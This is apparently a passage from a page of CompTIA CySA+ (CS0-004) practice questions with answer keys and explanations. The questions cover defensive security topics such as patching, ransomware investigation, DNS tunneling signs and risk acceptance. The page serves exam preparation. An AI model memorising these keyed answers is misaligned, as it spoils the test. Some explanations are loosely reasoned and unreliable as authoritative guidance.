The trap is the word 'before' — candidates may select deployment-speed options like simultaneous rollout, forgetting that pre-deployment validation (advisory review, staging, regression) is what the question actually asks for.

104
MCQmedium

A company is implementing a patch management process. Which of the following steps should be performed FIRST after a vendor releases a security patch for a critical vulnerability?

A.Schedule the patch for the next maintenance window
B.Test the patch in a staging environment that mirrors production
C.Deploy the patch to all production servers immediately
D.Create a patch compliance report
AnswerB

Testing the patch in a staging environment that mirrors production is the correct first step because it allows you to verify the patch against the exact operating system versions, applications, and configurations that exist in your live environment. This phase catches compatibility issues, dependency breaks, and security policy conflicts before they reach critical systems. It also lets you validate rollback procedures and measure any performance impact in an isolated setting. Confirming stability in staging builds the evidence needed to support a change management approval and a confident production rollout.

Why this answer

Patches should be tested in a staging environment to ensure they do not break critical business functions before deployment.

105
Multi-Selecthard

A CSIRT is investigating a ransomware incident that encrypted files on multiple servers. The team needs to determine the initial infection vector. Which THREE pieces of evidence should the team prioritize collecting? (Select three.)

Select 3 answers
A.Email gateway logs for the week prior to the incident
B.Endpoint detection and response (EDR) logs from affected servers
C.Network traffic logs from the perimeter firewall
D.Physical access logs to the data center
E.Firewall configuration backups
AnswersA, B, C

Email gateway logs are the primary source for identifying phishing payloads because ransomware often arrives via malicious attachments or embedded URLs. These logs capture sender metadata, subject lines, message IDs, and any verdicts (e.g., quarantined, spam, clean), so reviewing the week prior to the incident lets investigators trace the exact message that delivered the initial dropper and recover the full email thread for IoC extraction.

Why this answer

Email gateway logs (A) are essential because phishing emails with malicious attachments or links are the most common initial ransomware vector, and reviewing the week prior to the incident can reveal the delivery of the payload. EDR logs from affected servers (B) provide process-level telemetry such as parent-child process relationships, command lines, and file encryption behavior that can pinpoint the execution of the ransomware and its dropper. Network traffic logs from the perimeter firewall (C) can show command-and-control callbacks, exploit kit traffic, or lateral movement that help trace the infection back to its source.

Physical access logs (D) are not relevant to a remote ransomware infection vector and would only matter for insider or physical intrusion scenarios. Firewall configuration backups (E) document rule sets rather than activity, so they do not provide evidence of how the infection occurred.

Exam trap

CS0-004 often tests the tendency to select containment or configuration artifacts (firewall backups, physical access logs) instead of the telemetry sources that actually evidence the infection vector.

106
MCQmedium

A security analyst is configuring a vulnerability scanner for internal infrastructure. Management wants to minimize disruption to critical systems while ensuring accurate results. Which scan configuration should the analyst recommend?

A.Non-credentialed scans during business hours
B.External scans only
C.Credentialed agent-based scans during off-peak hours
D.Continuous non-credentialed scans
AnswerC

Agent-based scanning runs locally on each host and reports findings without the scanner sending intrusive network probes across the wire, and scheduling those scans for off-peak hours further ensures any residual resource usage does not compete with production workloads, directly satisfying both the accuracy and minimal-disruption requirements.

Why this answer

Credentialed scans provide more accurate results by accessing the system deeply, but they can cause load. Agent-based scans reduce network load and allow scheduling, minimizing disruption.

107
MCQmedium

A security analyst is conducting static analysis of a suspicious executable. Which of the following tools or techniques is BEST suited for extracting strings and viewing the import table?

A.LiME
B.FTK Imager
C.Cuckoo Sandbox
D.PEview or CFF Explorer
AnswerD

PEview and CFF Explorer are specialized static analysis utilities designed to inspect the internal structure of Portable Executable (PE) files, such as .exe and .dll files, without executing them. These tools allow analysts to examine PE headers, section headers, import/export address tables, and embedded strings to identify suspicious characteristics or indicators of compromise.

Why this answer

Static analysis often involves examining the PE header, imports, and strings. Tools like PEview, CFF Explorer, or simply using 'strings' command can extract readable strings. The import table shows DLLs and functions the executable uses.

108
MCQeasy

A company's IDS generated an alert for a potential SQL injection attack on a web application. The security analyst reviews the alert and confirms that the application is protected by a Web Application Firewall (WAF) that filters SQL injection attempts. Which of the following is the best course of action?

A.Block the source IP
B.No action needed
C.Disable the Web Application Firewall
D.Create a custom signature
AnswerB

The alert from the Intrusion Detection System (IDS) indicates that a SQL injection attempt was detected, but the Web Application Firewall (WAF) successfully protected the application. This scenario demonstrates that the layered security controls are functioning effectively, with the WAF acting as a preventative control at the application layer. Since the WAF successfully blocked the malicious traffic, the application remains secure, and no immediate manual intervention is required for this specific incident.

Why this answer

The WAF is already configured to filter SQL injection attempts, so the alert from the IDS does not indicate a successful attack. Since the WAF is actively blocking the malicious payload, no additional action is required. The IDS alert is a normal byproduct of the WAF's filtering, and the security analyst should confirm that the WAF is functioning correctly rather than taking unnecessary steps.

Exam trap

CompTIA often tests the misconception that any IDS alert requires immediate action, when in fact the presence of compensating controls like a WAF means the alert may be a false positive or a blocked attempt that does not require intervention.

How to eliminate wrong answers

Option A is wrong because blocking the source IP is an overreaction; the WAF is already mitigating the attack, and the source IP may be legitimate or spoofed, leading to potential denial of service for valid users. Option C is wrong because disabling the WAF would remove the protection layer, exposing the application to actual SQL injection attacks. Option D is wrong because creating a custom signature is unnecessary when the WAF's existing signatures are already filtering the SQL injection attempts; custom signatures are typically used for novel or zero-day threats, not for known patterns already covered.

109
MCQmedium

During a compliance audit, the auditor requests evidence of access reviews. Which of the following would be the MOST appropriate evidence to provide?

A.Vulnerability scan reports
B.A list of all user accounts and their creation dates
C.Completed access review sign-off sheets with manager approvals
D.Logs of successful and failed login attempts
AnswerC

Completed sign-off sheets with formal manager approvals serve as definitive administrative evidence for compliance frameworks like SOC 2 or ISO 27001. This documentation explicitly proves that authorized personnel reviewed user privileges, validated the principle of least privilege, and formally authorized the continuation or revocation of access.

Why this answer

Access review documentation, such as sign-off sheets or reports showing review and approval of user access rights, directly demonstrates that periodic access reviews are conducted.

110
Multi-Selecteasy

A company is implementing a vulnerability management program. Which of the following are essential components of a vulnerability management lifecycle? (Choose three.)

Select 3 answers
A.Vulnerability scanning and assessment.
B.Discovery and inventory of assets.
C.Penetration testing on all systems.
D.Remediation and verification.
E.Automated patch deployment.
AnswersA, B, D

Vulnerability scanning and assessment is the core detection activity of the lifecycle, using authenticated or unauthenticated tools such as Nessus or Qualys to compare installed software and configurations against known CVEs, and it forms the recurring engine that feeds every downstream prioritization and remediation decision the program makes.

Why this answer

Vulnerability scanning and assessment is a core component of the vulnerability management lifecycle because it involves actively identifying security weaknesses in systems, applications, and network devices using tools like Nessus or Qualys. This step provides the raw data—CVEs, missing patches, misconfigurations—that drives the entire remediation process. Without regular scanning, the organization cannot maintain an accurate picture of its security posture.

Exam trap

CompTIA often tests the distinction between vulnerability scanning (continuous, automated, non-intrusive) and penetration testing (periodic, manual, intrusive) to see if candidates confuse the two as interchangeable lifecycle components.

111
Multi-Selectmedium

Which TWO of the following are best practices for distributing security reports to stakeholders?

Select 2 answers
A.Post reports on a public website for easy access
B.Use encrypted email for sensitive reports
C.Send reports via instant messaging without encryption
D.Print and leave reports in common areas
E.Grant access via a secure portal with role-based permissions
AnswersB, E

Utilizing end-to-end encryption protocols, such as S/MIME or PGP, ensures that sensitive security reports remain confidential during transit. This prevents eavesdropping and man-in-the-middle attacks, ensuring that only the intended recipient with the corresponding private key can decrypt and read the contents.

Why this answer

Encrypted email (e.g., using S/MIME or PGP) ensures that sensitive security reports are protected from unauthorized interception during transit, maintaining confidentiality and integrity as required by security best practices.

Exam trap

CompTIA often tests the misconception that convenience (e.g., public posting or unencrypted messaging) is acceptable for security reports, when in fact any distribution method must enforce confidentiality, integrity, and access control.

112
Multi-Selectmedium

A cybersecurity analyst is preparing a post-incident report for a data breach that affected multiple business units. Which three of the following elements should be included in the report to ensure effective communication and support future prevention? (Choose three.)

Select 3 answers
.A detailed timeline of the incident, including detection and response actions
.The specific usernames and passwords of affected accounts
.Root cause analysis and contributing factors
.Recommendations for remediation and process improvements
.The raw packet capture data from the breach period
.A list of all employees’ personal contact information for notification

Why this answer

A detailed timeline of the incident, including detection and response actions, is correct because it provides a chronological record essential for understanding the sequence of events, assessing response effectiveness, and meeting regulatory reporting requirements. Root cause analysis and contributing factors are correct because they identify the underlying technical or procedural failures (e.g., unpatched vulnerability, misconfigured firewall rule) that must be addressed to prevent recurrence. Recommendations for remediation and process improvements are correct because they translate findings into actionable steps, such as implementing multi-factor authentication or updating incident response playbooks, which directly support future prevention.

Exam trap

CompTIA often tests the distinction between operational data (e.g., raw packet captures, credentials) and actionable intelligence (e.g., timeline, root cause, recommendations) to see if candidates understand that a post-incident report is a high-level communication tool, not a data dump.

113
MCQeasy

A company wants to automate the deployment of security patches to endpoints. Which of the following tools would BEST support this requirement?

A.Enterprise patch management tool
B.Vulnerability scanner
C.Configuration management tool
D.Security information and event management (SIEM) system
AnswerA

An enterprise patch management tool is specifically designed to automate the entire lifecycle of security updates, from identification and testing to deployment and verification across a large number of systems. Solutions like Microsoft WSUS or SCCM streamline the process of distributing patches to operating systems and applications, ensuring a consistent security posture. This automation is crucial for efficiently remediating vulnerabilities and maintaining compliance without manual intervention.

Why this answer

An enterprise patch management tool (e.g., Microsoft WSUS, SCCM, or Ivanti) is specifically designed to automate the deployment, scheduling, and reporting of security patches across endpoints. It directly addresses the requirement by pushing patches to systems based on policy, ensuring compliance, and reducing manual effort.

Exam trap

The trap here is that candidates confuse a vulnerability scanner's ability to detect missing patches with the ability to deploy them, or they overestimate a configuration management tool's patch deployment capabilities, forgetting that patch management requires specialized lifecycle features like approval workflows and rollback support.

How to eliminate wrong answers

Option B is wrong because a vulnerability scanner (e.g., Nessus, Qualys) identifies missing patches and vulnerabilities but does not deploy or automate the installation of patches; it is a detection tool, not a remediation tool. Option C is wrong because a configuration management tool (e.g., Ansible, Puppet) focuses on enforcing desired system states and configurations, but it is not purpose-built for patch deployment and lacks native patch lifecycle management features like approval workflows and rollback capabilities. Option D is wrong because a SIEM system (e.g., Splunk, ArcSight) aggregates and correlates security logs for monitoring and alerting, but it has no mechanism to deploy patches to endpoints.

114
MCQmedium

After containing a security incident, the incident response team conducts a root cause analysis. Which of the following is the PRIMARY purpose of this activity?

A.To identify the initial attack vector
B.To calculate the financial loss
C.To document the timeline
D.To assign blame to individuals
AnswerA

Identifying the initial attack vector is the primary objective of root cause analysis because it pinpoints the exact vulnerability or entry point exploited by the threat actor. This technical understanding allows security teams to implement targeted remediation controls, such as patching specific software or updating firewall rules, to prevent identical future compromises.

Why this answer

Root cause analysis aims to identify the underlying cause of the incident to prevent recurrence. It is a key part of post-incident activity.

115
MCQmedium

An analyst is tasked with creating a correlation rule in the SIEM to detect beaconing activity. Which log sources and fields are most relevant to model this behavior?

A.Authentication logs and user IDs
B.Firewall logs and connection timestamps
C.Endpoint logs and process creation
D.DNS logs and query types
AnswerB

Firewall logs capture outbound network connections, while connection timestamps provide the temporal data required to calculate the intervals between these sessions. By correlating these timestamps, analysts can perform frequency analysis to identify highly regular, automated communication intervals (heartbeats) characteristic of command-and-control (C2) beaconing.

Why this answer

Beaconing involves periodic outbound connections, so firewall logs (source IP, destination IP, destination port) and connection timestamps are essential for detecting regularity.

116
MCQeasy

An analyst needs to capture network traffic on a Linux server to investigate a potential data exfiltration. Which command-line tool is best suited for real-time packet capture and analysis?

A.tcpdump
B.netstat
C.iperf
D.nmap
AnswerA

tcpdump is the industry-standard command-line utility for capturing and analyzing network packets directly on Linux systems. It interfaces with the libpcap library to intercept and display TCP/IP and other packets being transmitted or received over a network interface. Analysts can apply complex Berkeley Packet Filter (BPF) expressions to isolate specific traffic of interest for real-time analysis or save the capture to a PCAP file for offline inspection.

Why this answer

tcpdump is a powerful command-line packet analyzer for Linux, capable of capturing network traffic in real time and saving it for later analysis.

117
MCQmedium

A security analyst is investigating a series of alerts from AWS GuardDuty indicating 'UnauthorizedAccess:EC2/SSHBruteForce'. The affected EC2 instance has a high CPU load. The analyst checks the security group rules and finds that SSH (port 22) is open to 0.0.0.0/0. What is the best immediate remediation action?

A.Create a new security group allowing SSH only from known IPs and attach it to the instance
B.Terminate the EC2 instance immediately
C.Disable the GuardDuty alert to reduce noise
D.Install a host-based firewall on the instance to block SSH
AnswerA

Modifying the AWS security group to restrict SSH access to specific, trusted source IP addresses immediately mitigates the brute-force or unauthorized access attempt. This stateful firewall change is applied at the hypervisor level, ensuring legitimate administrative access is preserved while blocking malicious traffic before it reaches the operating system.

Why this answer

The instance is exposed to the internet on SSH. Restricting SSH access to known IP addresses reduces the attack surface. Creating a new security group with a narrow source range and applying it stops brute force attempts.

118
Multi-Selectmedium

A security analyst is preparing an incident report after a ransomware attack. Which two components must be included in the report? (Select TWO.)

Select 2 answers
A.Resume of the incident responder
B.Root cause analysis
C.Marketing department's budget
D.Timeline of the incident
E.Software license keys
AnswersB, D

Root cause analysis identifies the fundamental vulnerability or error that enabled the incident, forming the basis for remediation and preventive measures. An incident report is incomplete without it because understanding what went wrong is critical to preventing recurrence and fulfilling regulatory and organizational requirements.

Why this answer

Option B (Root cause analysis) is correct because an incident report must document how the ransomware gained initial access and spread, identifying the underlying vulnerability, misconfiguration, or human factor so that remediation and preventive controls can be applied. Option D (Timeline of the incident) is correct because a chronological record of detection, containment, eradication, and recovery events is essential for understanding the attack's progression, supporting forensic findings, and meeting compliance or legal reporting requirements. The remaining options do not belong: a responder's resume (A) is irrelevant personal information, the marketing department's budget (C) has no bearing on the technical or procedural facts of the incident, and software license keys (E) are sensitive credentials that should never be exposed in a report and are unrelated to documenting the attack.

Exam trap

CS0-004 often tests the inclusion of irrelevant or sensitive items (resumes, license keys, budgets) to see if candidates understand what constitutes a proper incident report.

119
MCQmedium

During a security incident, which of the following should be the FIRST communication to internal stakeholders?

A.Notification to law enforcement
B.Press release to customers
C.Update to the risk register
D.Internal escalation to the incident response team
AnswerD

This is the correct first step because incident response plans conventionally begin with detection and internal escalation, notifying personnel with the authority and expertise to manage the event. The IR team will lead subsequent actions such as containment, eradication, and recovery, and will serve as the central coordinator for all internal and external communications. Any other action—whether external notification, public statements, or documentation—must be authorized through this escalation path to maintain control and legal defensibility.

Why this answer

The first communication during a security incident must be the internal escalation to the incident response team, as this triggers the formal incident response process. The IR team is responsible for assessing the scope, containing the threat, and coordinating all subsequent actions, including any external notifications. Without this initial escalation, no coordinated response can occur, and other communications (legal, PR, risk) would lack the necessary technical context.

This aligns with the preparation and identification phases of the incident response lifecycle (e.g., NIST SP 800-61).

Exam trap

CS0-004 often tests the misconception that external notifications (law enforcement, customers) or documentation tasks (risk register) should occur first, confusing the order of incident response steps with communication priorities.

How to eliminate wrong answers

Option A is wrong because law enforcement notification is typically a later step, often required only for specific types of incidents (e.g., criminal activity, data breaches with legal implications) and should be coordinated through legal counsel after the IR team has assessed the situation. Option B is wrong because a press release to customers is an external communication that must be carefully timed and crafted after internal stakeholders and legal teams have been briefed; issuing it first could cause panic, misinformation, and legal liability. Option C is wrong because updating the risk register is a documentation and risk management activity that occurs after the incident has been assessed and possibly resolved; it is not a communication to internal stakeholders in the immediate sense and does not initiate response actions.

120
MCQhard

Which type of threat intelligence report is most appropriate for communicating long-term trends and strategic risks to senior executives?

A.Technical intelligence
B.Tactical intelligence
C.Operational intelligence
D.Strategic intelligence
AnswerD

Strategic intelligence reports synthesize the threat landscape, adversary motivations, and emerging trends into high-level analysis that executives can use to align cybersecurity with business objectives. They communicate risk in terms of financial impact, reputational damage, and regulatory exposure, with recommendations for security investments and policy direction. This is the correct type because it is tailored for executive decision-making, which requires clarity on overall risk posture rather than technical detail.

Why this answer

Strategic threat intelligence focuses on high-level, long-term trends, adversary motivations, and geopolitical or business risks — exactly what senior executives need for decision-making and risk budgeting. It is typically delivered as reports or briefings rather than raw indicators, and it informs strategic planning over quarters or years. Technical, tactical, and operational intelligence are all more granular and operational in nature.

Exam trap

CS0-004 often tests the audience-to-intelligence-type mapping; candidates confuse operational (imminent campaigns) with strategic (long-term trends) because both sound 'high-level'.

How to eliminate wrong answers

Option A (technical intelligence) is wrong because it deals with indicators of compromise (IOCs), malware signatures, and TTPs at a machine-readable level — useful to SOC analysts, not executives. Option B (tactical intelligence) is wrong because it covers adversary tactics, techniques, and procedures (TTPs) used in the near term to guide defensive countermeasures, which is operational for security teams rather than strategic for leadership. Option C (operational intelligence) is wrong because it concerns specific, imminent campaigns or attacks and is used for short-term operational decisions (e.g., blocking a specific C2 domain), not long-term trend analysis.

121
MCQeasy

A vulnerability scan report shows a critical vulnerability with a CVSS score of 9.8 on a web server. However, the server is only accessible from internal IP addresses and is protected by a Web Application Firewall (WAF) that blocks the attack vector. Which of the following should the analyst recommend?

A.Accept the risk due to compensating controls.
B.Disable the WAF to test the vulnerability.
C.Immediately patch the server during business hours.
D.Run an uncredentialed scan to confirm the vulnerability.
AnswerA

Internal-only reachability and a WAF that actively blocks the specific attack vector are legitimate compensating controls that meaningfully reduce exploitability, so documenting a formal risk acceptance with those controls noted, an owner, and a review date is the appropriate response rather than treating the raw CVSS score as the sole driver of urgency.

Why this answer

Compensating controls like a WAF that effectively blocks the attack reduce the risk. While patching is ideal, the vulnerability may not be immediately exploitable due to the WAF.

122
MCQhard

A company uses a SIEM platform that ingests logs from various sources. The SOC team receives an alert for a high number of failed login attempts (over 100 in 5 minutes) on the domain controller from a single IP address. The analyst investigates and finds that the failed attempts are for multiple different usernames, including some disabled accounts. The source IP is traced to an external VPN service. The analyst also notices that a few accounts had successful logins from the same IP after the failed attempts. Which of the following is the MOST likely attack type?

A.Brute-force attack.
B.Kerberoasting.
C.Password spraying.
D.Pass-the-hash.
AnswerC

Password spraying is a low-and-slow attack method where an attacker attempts a small number of very common passwords (e.g., "Summer2023!", "Password123") against a large list of user accounts. The primary goal is to avoid triggering account lockout policies, which are typically configured to lock an account after a few failed attempts. By distributing the attempts across many accounts, the attacker hopes to find a match for at least one account without generating a high volume of failed logins for any single user, making it harder to detect.

Why this answer

The attack involves a single external IP attempting logins with multiple different usernames (including disabled accounts) and eventually succeeding on a few. This is characteristic of a password spraying attack, where an attacker tries a small number of common passwords against many accounts to avoid triggering account lockout policies. The use of an external VPN service indicates the attacker is anonymizing their origin, and the successful logins after failures confirm the attack's objective.

Exam trap

CompTIA often tests the distinction between brute-force (many passwords, one user) and password spraying (one password, many users), and candidates mistakenly choose brute-force because they see 'failed login attempts' without analyzing the username distribution.

How to eliminate wrong answers

Option A is wrong because a brute-force attack typically targets a single username with many password attempts, not multiple usernames with a few attempts each. Option B is wrong because Kerberoasting targets service accounts by requesting Kerberos service tickets (TGS-REP) for offline cracking, not by performing login attempts against a domain controller. Option D is wrong because pass-the-hash uses captured NTLM hashes to authenticate without needing the plaintext password, and would not generate failed login attempts or target multiple disabled accounts.

123
MCQhard

A business owner accepts delayed remediation for a production system. What must the report include? If the primary audience is business service owner, which content choice is most appropriate?

A.Only the analyst's personal opinion
B.Risk owner, reason, compensating controls, review date, and expiry
C.No mention of the accepted risk
D.A permanent exception with no review
AnswerB

Proper risk acceptance necessitates a comprehensive record including the designated risk owner, a clear justification for acceptance, and any implemented compensating controls to mitigate residual exposure. Furthermore, specifying a definite review date and an ultimate expiry ensures the decision remains time-bound and subject to re-evaluation as threat landscapes or business contexts evolve. This structured approach ensures accountability, transparency, and proactive management of accepted risks within the organization.

Why this answer

When a business owner accepts delayed remediation for a production system, the report must formally document the risk acceptance decision. This includes the risk owner (who accepted the risk), the reason for acceptance, any compensating controls in place, a review date to reassess the risk, and an expiry date for the acceptance. This aligns with risk management frameworks like NIST SP 800-37 and ISO 27005, which require traceability and accountability for accepted risks.

Exam trap

The CS0-004 exam often tests the misconception that risk acceptance means the risk is simply ignored or not reported, but the correct approach is to formally document the acceptance with all required metadata to maintain accountability and audit readiness.

How to eliminate wrong answers

Option A is wrong because including only the analyst's personal opinion violates the principle of objective risk reporting; risk acceptance decisions must be based on business context and documented facts, not subjective views. Option C is wrong because omitting the accepted risk from the report would hide a critical security decision from stakeholders, breaking audit trails and compliance requirements (e.g., PCI DSS, SOX) that mandate clear documentation of risk acceptance.

124
Multi-Selectmedium

A phishing incident led to credential theft. Which containment actions are appropriate? (Choose two.)

Select 2 answers
A.Reset affected credentials and revoke active sessions
B.Delete all user mailboxes
C.Disable DNS for the entire company indefinitely
D.Search for mailbox rules or OAuth grants created after compromise
AnswersA, D

Resetting the compromised user's password prevents the attacker from authenticating again using the stolen credentials. Crucially, revoking active sessions, such as OAuth refresh tokens or active web sessions, invalidates any existing session cookies and immediately ejects the threat actor from the environment. Without session revocation, the attacker could maintain access despite the password change.

Why this answer

Immediately resetting compromised credentials and revoking active sessions (e.g., via Azure AD 'Revoke-AzureADUserAllRefreshToken' or Active Directory 'Reset-ADAccountPassword' combined with 'Revoke-AuthenticationTokens') invalidates the attacker's access tokens and session cookies, preventing further lateral movement or data exfiltration. This aligns with the NIST SP 800-61 containment phase, which prioritizes cutting off attacker access while preserving forensic evidence.

Exam trap

The CS0-004 exam often tests the distinction between 'containment' (stopping the attack) and 'eradication' (removing the root cause), and the trap here is that candidates may choose overly aggressive actions like deleting mailboxes or disabling DNS, mistaking brute-force disruption for precise containment.

125
MCQeasy

A penetration testing team has completed an internal assessment and provided a report with several high-risk findings. One finding indicates that a web application is vulnerable to SQL injection. The application is used by external customers to submit orders. The development team has reviewed the finding and states that it will take three weeks to fix the code and deploy a patch. The security operations center (SOC) has observed increased scanning activity targeting the application's IP address from external sources. The company's risk tolerance for web application vulnerabilities is low. Which of the following should the analyst recommend as the immediate next step?

A.Deploy a web application firewall (WAF) with rules to block SQL injection attempts.
B.Increase logging and monitoring for SQL injection attempts.
C.Disable the web application until the patch is deployed.
D.Request the development team to expedite the patch within one week.
AnswerA

Deploying a WAF provides immediate virtual patching at the HTTP layer, inspecting request payloads for SQL injection signatures and blocking them before they reach the vulnerable application. This satisfies the low risk tolerance and active external scanning constraint, buying three weeks until the code fix is deployed.

Why this answer

Deploying a WAF with rules to block SQL injection attempts is the immediate next step because it provides a virtual patch that mitigates the vulnerability while the development team works on the permanent code fix. Given the low risk tolerance and active external scanning, this reduces the attack surface without taking the application offline, which would disrupt customer order submissions.

Exam trap

The trap here is that candidates may choose to disable the application (Option C) thinking it is the safest approach, but the CompTIA CySA+ exam emphasizes the balance between security and business continuity, where a compensating control like a WAF is the preferred immediate step when a patch is not immediately available.

How to eliminate wrong answers

Option B is wrong because increasing logging and monitoring does not actively block SQL injection attempts; it only detects them after the fact, which is insufficient given the low risk tolerance and active scanning. Option C is wrong because disabling the web application would cause immediate business disruption for external customers submitting orders, which is not necessary when a WAF can provide temporary protection. Option D is wrong because requesting the development team to expedite the patch within one week ignores the reality that the fix requires three weeks; rushing could introduce new vulnerabilities or incomplete fixes, and it does not address the immediate threat from active scanning.

126
MCQmedium

A security analyst is configuring a compliance scan for a Linux server using CIS Benchmarks. The analyst must ensure the server meets Level 1 benchmarks. Which of the following is a characteristic of CIS Level 1 benchmarks?

A.They are practical and prudent, with a low impact on business functionality
B.They are only applicable to cloud environments
C.They provide specific STIG requirements for DoD systems
D.They are intended for high-security environments and may impact performance
AnswerA

CIS Level 1 profiles are designed to provide a baseline of essential security configurations that can be rapidly implemented. These recommendations are practical, prudent, and engineered to minimize any adverse impact on business operations or system performance.

Why this answer

Level 1 benchmarks are foundational and designed to have minimal impact on business operations while improving security.

127
MCQmedium

After a DDoS attack, the incident response team wants to improve detection and prevention. Which of the following metrics would be MOST useful for evaluating the effectiveness of the response?

A.Mean Time to Respond (MTTR)
B.Number of false positives
C.Mean Time to Detect (MTTD)
D.Incidents per week
AnswerA

Mean Time to Respond (MTTR) is the definitive metric for evaluating incident response effectiveness because it quantifies the average time taken to contain, mitigate, and resolve a security incident once it has been identified. For a DDoS attack, reducing MTTR directly correlates with minimizing service downtime and financial loss, demonstrating the team's operational efficiency in executing playbooks and deploying countermeasures like rate limiting or BGP blackholing.

Why this answer

Mean Time to Respond (MTTR) measures the average time taken to respond to and resolve an incident after it is detected. In the context of evaluating the effectiveness of the response to a DDoS attack, MTTR directly reflects how quickly the team mitigated the attack and restored normal operations. A lower MTTR indicates a more effective response process, making it the most useful metric among the options.

Exam trap

CS0-004 often tests the distinction between detection metrics (MTTD) and response metrics (MTTR), so candidates must carefully read whether the question asks about detection or response effectiveness.

How to eliminate wrong answers

Option B is wrong because the number of false positives measures detection accuracy, not response effectiveness. Option C is wrong because Mean Time to Detect (MTTD) measures how quickly incidents are identified, which is a detection metric, not a response metric. Option D is wrong because incidents per week is a frequency metric that does not evaluate the effectiveness of the response to a specific incident.

128
Multi-Selecthard

A threat hunter is analyzing network traffic and observes a system making outbound connections to multiple IP addresses on port 53 (DNS) with unusually large payload sizes. The hunter suspects DNS tunneling. Which THREE characteristics are indicative of DNS tunneling?

Select 3 answers
A.Large DNS payload sizes
B.DNS responses with NXDOMAIN for most queries
C.Non-standard record types such as TXT or NULL
D.High frequency of DNS queries to a single domain
E.Use of standard A record queries
AnswersA, C, D

Large DNS payload sizes are a classic indicator of tunneling because standard DNS queries and responses are deliberately small—classic UDP DNS is limited to 512 bytes without EDNS0, and even with EDNS0 typical resolvers rarely see TXT records exceeding a few hundred bytes. Tunneled traffic (via TXT or NULL records) packs encoded data into the payload, causing individual DNS messages to balloon in size and break from the statistical norm. This size anomaly is often detected when the maximum payload length or the distribution of payload sizes for a domain appears abnormal.

Why this answer

Option A is correct because DNS tunneling encodes exfiltrated or command-and-control data inside DNS queries and responses, which inflates payload sizes well beyond the small packets typical of legitimate lookups. Option C is correct because attackers often abuse TXT or NULL records, which can carry arbitrary or binary data, to transport payloads that standard A record queries cannot hold. Option D is correct because tunneling tools generate a high volume of queries to a single domain (often with encoded subdomains) to move data continuously, making query frequency to one domain a strong indicator.

Option B is not indicative because NXDOMAIN responses usually reflect mistyped or nonexistent domains rather than successful tunneling, which typically relies on the authoritative server answering queries. Option E is not indicative because standard A record queries are the normal, benign behavior of DNS resolution and do not by themselves suggest tunneling.

Exam trap

CS0-004 often tests the misconception that NXDOMAIN or standard A records indicate tunneling, when the real indicators are payload size, non-standard record types, and query frequency to a single domain.

129
MCQmedium

A security analyst is investigating a potential DNS tunneling attack. Which of the following patterns in DNS logs would most likely indicate such activity?

A.A high number of NXDOMAIN responses
B.Unusually long subdomain names with high query frequency to a single domain
C.Consistent query intervals to a known legitimate domain
D.Queries to domains that are less than 24 hours old
AnswerB

DNS tunneling utility tools encode payload data, such as commands or exfiltrated files, directly into the subdomain labels of a query destined for an attacker-controlled authoritative DNS server. Because of this encoding, the subdomains appear as long, high-entropy, randomized strings. A high frequency of these unique, lengthy queries directed to a single external domain is a definitive signature of active DNS tunneling.

Why this answer

DNS tunneling exfiltrates data or establishes command-and-control by encoding payloads into DNS query names, typically subdomains of an attacker-controlled domain. This produces unusually long subdomain labels (often near the 63-character label limit or 253-character FQDN limit) combined with high query volume to a single domain, because each query carries a chunk of encoded data. Option B captures both the encoding artifact (long names) and the beaconing pattern (high frequency to one domain) that together are the hallmark of tunneling tools like iodine, dnscat2, or DNSExfiltrator.

Exam trap

CS0-004 often tests the distinction between generic suspicious DNS behaviors (NXDOMAIN floods, new domains) and the specific encoding-plus-frequency signature that uniquely identifies DNS tunneling, so candidates who pick 'new domain' or 'NXDOMAIN' miss the payload-carrying subdomain pattern.

How to eliminate wrong answers

Option A is wrong because a high volume of NXDOMAIN responses more commonly indicates DGA (domain generation algorithm) malware, typosquatting lookups, or misconfigured clients — tunneling tools usually need successful resolution of the tunnel domain, so NXDOMAIN spikes are not the primary indicator. Option C is wrong because consistent query intervals to a known legitimate domain is normal behavior (e.g., NTP-adjacent lookups, CDN health checks, or OS telemetry) and lacks the payload-carrying long subdomain names that tunneling requires. Option D is wrong because newly registered domains are a threat-intelligence signal for phishing, malware distribution, or C2 infrastructure generally, but domain age alone does not indicate DNS tunneling — tunneling can occur over long-established domains too.

130
MCQmedium

A vulnerability report includes a risk acceptance section. Which of the following scenarios is most appropriate to include in this section?

A.A vulnerability that has been exploited in the wild
B.A critical vulnerability that has been patched
C.All open vulnerabilities regardless of severity
D.A medium-severity vulnerability with a compensating control that reduces risk to acceptable levels
AnswerD

This is the textbook risk acceptance scenario because the medium severity keeps residual exposure within a tolerable range, and the compensating control, such as network segmentation or restricted access, provides documented, measurable risk reduction that justifies formally accepting rather than remediating the underlying vulnerability.

Why this answer

Risk acceptance is documented when the organization decides not to remediate a vulnerability due to compensating controls or low risk.

131
MCQmedium

A vulnerability scan report shows a critical vulnerability on a web server. The server is behind a WAF that blocks the relevant exploit payloads. According to the organization's risk management policy, what should the analyst do?

A.Accept the risk and document the compensating control
B.Remove the WAF to allow the vulnerability to be exploited
C.Immediately patch the server
D.Mark the vulnerability as a false positive
AnswerA

Since an active Web Application Firewall (WAF) is successfully mitigating the vulnerability by blocking malicious traffic, the immediate threat is neutralized. Formally accepting the risk and documenting this compensating control in the risk register is the correct procedure, ensuring compliance and operational continuity without unnecessary disruption.

Why this answer

Compensating controls like a WAF can justify accepting the risk rather than immediately patching if it would cause downtime.

132
MCQhard

After containing a ransomware outbreak, the incident response team needs to restore encrypted files. They have verified clean backups from two weeks ago, but some critical files were modified on the day of the attack. What is the best approach?

A.Restore from backups and then apply all available updates
B.Restore critical files from backup and manually update them using change logs
C.Attempt to decrypt files using the ransom key
D.Restore all files from backups
AnswerB

This is the most effective strategy as it leverages clean, uninfected backups for the bulk of the data, ensuring system integrity and a secure foundation. For critical files that experienced legitimate modifications between the last backup and the incident, change logs, transaction logs, or user-reported changes can be used to manually re-apply those specific updates. This meticulous process minimizes data loss by reconciling recent legitimate changes with the restored clean baseline, providing the highest level of data integrity and business continuity post-incident.

Why this answer

Restoring critical files from backup and manually updating them using change logs preserves the modifications made on the day of the attack, which are not present in the two-week-old backups. This approach ensures data integrity by combining the clean baseline from backups with the legitimate changes recorded in change logs, avoiding data loss while maintaining security.

Exam trap

CompTIA often tests the misconception that restoring from the most recent clean backup is always sufficient, ignoring the need to preserve post-backup legitimate changes, which leads candidates to choose Option D.

How to eliminate wrong answers

